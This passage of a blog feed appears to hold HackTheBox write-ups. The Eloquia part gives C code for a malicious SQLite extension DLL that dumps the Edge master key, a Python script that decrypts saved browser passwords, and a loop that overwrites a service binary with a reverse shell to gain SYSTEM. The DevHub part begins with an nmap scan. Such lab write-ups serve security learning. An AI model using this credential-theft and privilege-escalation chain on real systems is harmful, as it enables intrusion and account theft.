                        <span class="n">DWORD</span> <span class="n">b64Len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                        <span class="n">CryptBinaryToStringA</span><span class="p">(</span><span class="n">dataOut</span><span class="p">.</span><span class="n">pbData</span><span class="p">,</span> <span class="n">dataOut</span><span class="p">.</span><span class="n">cbData</span><span class="p">,</span> <span class="n">CRYPT_STRING_BASE64</span> <span class="o">|</span> <span class="n">CRYPT_STRING_NOCRLF</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">b64Len</span><span class="p">);</span>
                        <span class="kt">char</span><span class="o">*</span> <span class="n">finalB64</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="n">LPTR</span><span class="p">,</span> <span class="n">b64Len</span><span class="p">);</span>
                        <span class="n">CryptBinaryToStringA</span><span class="p">(</span><span class="n">dataOut</span><span class="p">.</span><span class="n">pbData</span><span class="p">,</span> <span class="n">dataOut</span><span class="p">.</span><span class="n">cbData</span><span class="p">,</span> <span class="n">CRYPT_STRING_BASE64</span> <span class="o">|</span> <span class="n">CRYPT_STRING_NOCRLF</span><span class="p">,</span> <span class="n">finalB64</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">b64Len</span><span class="p">);</span>

                        <span class="n">HANDLE</span> <span class="n">hOut</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="n">OUTPUT_FILE</span><span class="p">,</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">CREATE_ALWAYS</span><span class="p">,</span> <span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
                        <span class="k">if</span> <span class="p">(</span><span class="n">hOut</span> <span class="o">!=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span> <span class="p">{</span>
                            <span class="n">DWORD</span> <span class="n">written</span><span class="p">;</span>
                            <span class="n">WriteFile</span><span class="p">(</span><span class="n">hOut</span><span class="p">,</span> <span class="n">finalB64</span><span class="p">,</span> <span class="n">b64Len</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">written</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
                            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOut</span><span class="p">);</span>
                        <span class="p">}</span>
                        <span class="n">LocalFree</span><span class="p">(</span><span class="n">finalB64</span><span class="p">);</span>
                        <span class="n">LocalFree</span><span class="p">(</span><span class="n">dataOut</span><span class="p">.</span><span class="n">pbData</span><span class="p">);</span>
                    <span class="p">}</span>
                    <span class="n">LocalFree</span><span class="p">(</span><span class="n">binaryKey</span><span class="p">);</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="n">LocalFree</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// SQLITE_OK</span>
<span class="p">}</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s compile this binary and transfer it over, then let’s load it the same way we did our reverse shell.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="k">SELECT</span> <span class="n">load_extension</span><span class="p">(</span><span class="s1">'C:</span><span class="se">\W</span><span class="s1">eb</span><span class="se">\E</span><span class="s1">loquia</span><span class="se">\d</span><span class="s1">ecrypt.dll'</span><span class="p">);</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look it successfully output our <code class="language-plaintext highlighter-rouge">masterkey</code> to the <code class="language-plaintext highlighter-rouge">Windows/Tasks</code> directory.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="n">C:\Windows\Tasks</span><span class="err">&gt;</span><span class="nx">dir</span><span class="w">
</span><span class="n">dir</span><span class="w">
 </span><span class="nx">Volume</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">drive</span><span class="w"> </span><span class="nx">C</span><span class="w"> </span><span class="nx">has</span><span class="w"> </span><span class="nx">no</span><span class="w"> </span><span class="nx">label.</span><span class="w">
 </span><span class="n">Volume</span><span class="w"> </span><span class="nx">Serial</span><span class="w"> </span><span class="nx">Number</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">22C6-32BB</span><span class="w">

 </span><span class="n">Directory</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">C:\Windows\Tasks</span><span class="w">

</span><span class="mi">12</span><span class="n">/16/2025</span><span class="w">  </span><span class="nx">10:37</span><span class="w"> </span><span class="nx">PM</span><span class="w">    </span><span class="err">&lt;</span><span class="nx">DIR</span><span class="err">&gt;</span><span class="w">          </span><span class="o">.</span><span class="w">
</span><span class="mi">12</span><span class="n">/16/2025</span><span class="w">  </span><span class="nx">10:37</span><span class="w"> </span><span class="nx">PM</span><span class="w">    </span><span class="err">&lt;</span><span class="nx">DIR</span><span class="err">&gt;</span><span class="w">          </span><span class="o">..</span><span class="w">
</span><span class="mi">12</span><span class="n">/16/2025</span><span class="w">  </span><span class="nx">10:35</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">44</span><span class="w"> </span><span class="nx">masterkey.txt</span><span class="w">
               </span><span class="mi">1</span><span class="w"> </span><span class="n">File</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w">             </span><span class="mi">44</span><span class="w"> </span><span class="n">bytes</span><span class="w">
               </span><span class="nx">2</span><span class="w"> </span><span class="nx">Dir</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w">   </span><span class="mi">4</span><span class="p">,</span><span class="mi">621</span><span class="p">,</span><span class="mi">537</span><span class="p">,</span><span class="mi">280</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="nx">free</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Success! Next let’s use this masterkey to decrypt the database, I’ll have <code class="language-plaintext highlighter-rouge">gemini</code> generate the script.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">sqlite3</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="c1"># Your extracted Master Key
</span><span class="n">key_b64</span> <span class="o">=</span> <span class="s">'[REDACTED]'</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">key_b64</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">decrypt_val</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="c1"># Check for v10/v11 header
</span>        <span class="k">if</span> <span class="n">data</span><span class="p">[:</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">'v10'</span> <span class="ow">or</span> <span class="n">data</span><span class="p">[:</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">'v11'</span><span class="p">:</span>
            <span class="n">iv</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">3</span><span class="p">:</span><span class="mi">15</span><span class="p">]</span>
            <span class="n">payload</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">15</span><span class="p">:</span><span class="o">-</span><span class="mi">16</span><span class="p">]</span>
            <span class="n">tag</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="o">-</span><span class="mi">16</span><span class="p">:]</span>
            <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_GCM</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt_and_verify</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">tag</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
        <span class="k">return</span> <span class="s">"Legacy/Unknown Format"</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span>

<span class="c1"># Use a copy to avoid database locks
</span><span class="n">db_path</span> <span class="o">=</span> <span class="s">'logindata'</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">db_path</span><span class="p">)</span>
<span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="s">'URL'</span><span class="si">:</span><span class="o">&lt;</span><span class="mi">50</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="s">'User'</span><span class="si">:</span><span class="o">&lt;</span><span class="mi">20</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="s">'Pass'</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"-"</span> <span class="o">*</span> <span class="mi">90</span><span class="p">)</span>

<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT origin_url, username_value, password_value FROM logins"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">url</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">enc_pass</span> <span class="ow">in</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchall</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">enc_pass</span><span class="p">:</span>
        <span class="n">dec_pass</span> <span class="o">=</span> <span class="n">decrypt_val</span><span class="p">(</span><span class="n">enc_pass</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">url</span><span class="si">:</span><span class="o">&lt;</span><span class="mi">50</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">user</span><span class="si">:</span><span class="o">&lt;</span><span class="mi">20</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">dec_pass</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">cursor</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll be using <code class="language-plaintext highlighter-rouge">uv</code> to add the dependencies and run the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>uv add <span class="nt">--script</span> edge.py pycryptodome
uv run edge.py                                     
Installed 1 package <span class="k">in </span>16ms
URL                                                | User                 | Pass
<span class="nt">------------------------------------------------------------------------------------------</span>
https://openai.com/                                | olivia.kat           | Error: MAC check failed
http://eloquia.htb/accounts/login/                 | Olivia.KAT           | S[REDACTED]
https://eloquia.htb/                               | <span class="nb">test</span>                 | testtest1234!
https://chatgpt.com/                               | olivia.kat           | S[REDACTED]

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We’re able to extract the passwords from the login data database! Now let’s attempt to use this against <code class="language-plaintext highlighter-rouge">winrm</code> which we found to be open earlier hoping <code class="language-plaintext highlighter-rouge">Olivia</code> reuses her password.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>winrmexec.py <span class="s2">"eloquia.htb/olivia.kat:</span><span class="nv">$PASS</span><span class="s2">@eloquia.htb"</span>
/home/kali/.cache/uv/environments-v2/winrmexec-8aa50ec8544e68a3/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated <span class="k">for </span>removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.
  import pkg_resources
<span class="s1">'prompt_toolkit'</span> not installed, using built-in <span class="s1">'readline'</span>
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-target_ip'</span> not specified, using eloquia.htb
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-port'</span> not specified, using 5985
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-url'</span> not specified, using http://eloquia.htb:5985/wsman
PS C:<span class="se">\U</span>sers<span class="se">\O</span>livia.KAT<span class="se">\D</span>ocuments&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="binary-overwrite">Binary Overwrite</h2>
<p>Looking around we can find several files in our <code class="language-plaintext highlighter-rouge">Desktop</code> folder.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Olivia.KAT\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">..</span><span class="nx">/Desktop</span><span class="w">


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Users\Olivia.KAT\Desktop</span><span class="w">


</span><span class="n">Mode</span><span class="w">                </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">                                                                   
</span><span class="o">----</span><span class="w">                </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">                                                                   
</span><span class="nt">-a</span><span class="o">----</span><span class="w">        </span><span class="mi">4</span><span class="n">/30/2024</span><span class="w">   </span><span class="nx">1:53</span><span class="w"> </span><span class="nx">PM</span><span class="w">           </span><span class="nx">1558</span><span class="w"> </span><span class="nx">Failure2Ban</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Prototype</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Shortcut.lnk</span><span class="w">                                 
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">5</span><span class="n">/6/2024</span><span class="w">   </span><span class="nx">2:00</span><span class="w"> </span><span class="nx">PM</span><span class="w">        </span><span class="nx">1331957</span><span class="w"> </span><span class="nx">Logfile.PML</span><span class="w">                                                            
</span><span class="nt">-a</span><span class="o">----</span><span class="w">        </span><span class="mi">4</span><span class="n">/22/2024</span><span class="w">   </span><span class="nx">7:02</span><span class="w"> </span><span class="nx">AM</span><span class="w">            </span><span class="nx">362</span><span class="w"> </span><span class="nx">Todo.txt</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We notice a note that there’s a temporary solution for the service.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Olivia.KAT\Desktop</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="nx">Todo.txt</span><span class="w">
</span><span class="p">[</span><span class="n">X</span><span class="p">]</span><span class="w"> </span><span class="n">implement</span><span class="w"> </span><span class="n">App.config</span><span class="w"> </span><span class="n">file</span><span class="w">
</span><span class="p">[</span><span class="n">X</span><span class="p">]</span><span class="w"> </span><span class="n">implement</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">filtering</span><span class="w">
</span><span class="p">[]</span><span class="w"> </span><span class="n">read</span><span class="w"> </span><span class="n">firewall</span><span class="w"> </span><span class="n">rules</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">start</span><span class="w">
</span><span class="p">[]</span><span class="w"> </span><span class="n">implement</span><span class="w"> </span><span class="n">malicious</span><span class="w"> </span><span class="n">input</span><span class="w"> </span><span class="n">detection</span><span class="w"> </span><span class="n">algorithm</span><span class="w">
</span><span class="p">[]</span><span class="w"> </span><span class="n">avoid</span><span class="w"> </span><span class="n">reading</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">whole</span><span class="w"> </span><span class="s2">"log"</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">every</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">recall</span><span class="w">
</span><span class="o">-------------------------------</span><span class="w">
</span><span class="n">Problem</span><span class="p">:</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">eating</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">CPU</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">huge</span><span class="w"> </span><span class="n">log</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">size</span><span class="w">
</span><span class="n">Solution</span><span class="p">(</span><span class="n">temporary</span><span class="p">):</span><span class="w"> </span><span class="n">Log</span><span class="w"> </span><span class="n">rotation</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">restart</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Looking around for the original binary, we can find that we have write permissions over it.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Qooqle</span><span class="w"> </span><span class="nx">IPS</span><span class="w"> </span><span class="nx">Software\Failure2Ban</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Prototype\Failure2Ban\bin\Debug</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">icacls</span><span class="w"> </span><span class="nx">Failure2Ban.exe</span><span class="w">
</span><span class="n">Failure2Ban.exe</span><span class="w"> </span><span class="nx">ELOQUIA\Olivia.KAT:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">,</span><span class="nx">W</span><span class="p">)</span><span class="w">
                </span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SYSTEM:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                </span><span class="n">BUILTIN\Administrators:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                </span><span class="n">BUILTIN\Users:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">RESTRICTED</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">

</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">processed</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nx">files</span><span class="p">;</span><span class="w"> </span><span class="n">Failed</span><span class="w"> </span><span class="nx">processing</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="nx">files</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’m transferring over a reverse shell executable and attempting to copy it to the Failure2Ban exe</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Qooqle</span><span class="w"> </span><span class="nx">IPS</span><span class="w"> </span><span class="nx">Software\Failure2Ban</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Prototype\Failure2Ban\bin\Debug</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">cp</span><span class="w"> </span><span class="nx">garble.exe</span><span class="w"> </span><span class="nx">Failure2Ban.exe</span><span class="w">
</span><span class="n">The</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">cannot</span><span class="w"> </span><span class="nx">access</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">file</span><span class="w"> </span><span class="s1">'C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe'</span><span class="w"> </span><span class="nx">because</span><span class="w"> </span><span class="nx">it</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">being</span><span class="w"> </span><span class="nx">used</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">another</span><span class="w"> </span><span class="nx">process.</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>What we can do is run it on a loop which will only stop if we’re able to replace the file.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Qooqle</span><span class="w"> </span><span class="nx">IPS</span><span class="w"> </span><span class="nx">Software\Failure2Ban</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Prototype\Failure2Ban\bin\Debug</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">while</span><span class="w"> </span><span class="p">(</span><span class="bp">$true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Copy-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">garble.exe</span><span class="w"> </span><span class="nx">Failure2Ban.exe</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="p">;</span><span class="w"> </span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"SUCCESS!"</span><span class="p">;</span><span class="w"> </span><span class="kr">break</span><span class="p">;</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Start-Sleep</span><span class="w"> </span><span class="nt">-Milliseconds</span><span class="w"> </span><span class="nx">100</span><span class="p">;</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="n">SUCCESS</span><span class="o">!</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>After the service restarts I get a callback on my reverse shell!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Windows PowerShell
Copyright <span class="o">(</span>C<span class="o">)</span> Microsoft Corporation. All rights reserved.

PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; <span class="nb">whoami
</span>nt authority<span class="se">\s</span>ystem

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have Root!</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/linux" /><category term="diff/insane" /><summary type="html"><![CDATA[Eloquia is running a social publishing platform as well as qooqle, a spoof of google. We're able to register users on both platforms and link them through oauth. We can also locate a stored xss vulnerability which is filtered but allows meta tags. When we report the article the admin views it and triggers a redirect through the meta tags. We're able to exploit this by redirecting to our own server which redirects to an oauth authorization link allowing us to link our qooqle account to the admins eloquia account. The admin is able to run sqlite queries and edit articles. We can upload a dll as a banner and load that dll using sqlite3 to get User. We can then exfiltrate and decrypt edge login data which we can use to pivot to Olivia, after which we simply exploit the Failure2Ban prototype being constantly restarted.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_Eloquia/0001.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_Eloquia/0001.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">DevHub</title><link href="https://0xw1ld.github.io/htb/2026/10/10/devhub.html" rel="alternate" type="text/html" title="DevHub" /><published>2026-10-10T00:00:00+00:00</published><updated>2026-10-10T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/10/10/devhub</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/10/10/devhub.html"><![CDATA[<p><img src="/assets/img/img_devhub/0015.jpeg" alt="DevHub HackTheBox machine" /></p>
<h1 id="devhub--writeup">Devhub | Writeup</h1>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
</pre></td><td class="rouge-code"><pre>PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPWeIVAL8xAfqZkJzRocGOpKCgXQk807PgJQqBcvDCiTcyFYlXvFY0v+sI1XXnYKghVRDkCxYy23sjlFMceuifE=
|   256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAWDVyu6UXTR8XbXiFXOJx0xwUVCRheT9hT20o1VbEht
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
6274/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 200 OK
|     access-control-allow-credentials: true
|     content-length: 466
|     content-type: text/html; charset=utf-8
|     vary: Origin
|     Date: Sun, 31 May 2026 07:21:11 GMT
|     Connection: close
|     &lt;!doctype html&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="UTF-8" /&gt;
|     &lt;link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" /&gt;
|     &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
|     &lt;title&gt;MCPJam Inspector&lt;/title&gt;
|     &lt;script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"&gt;&lt;/script&gt;
|     &lt;link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css"&gt;
|     &lt;/head&gt;
|     &lt;body&gt;
|     &lt;div id="root"&gt;&lt;/div&gt;
|     &lt;/body&gt;
|     &lt;/html&gt;
|   HTTPOptions, RTSPRequest: 
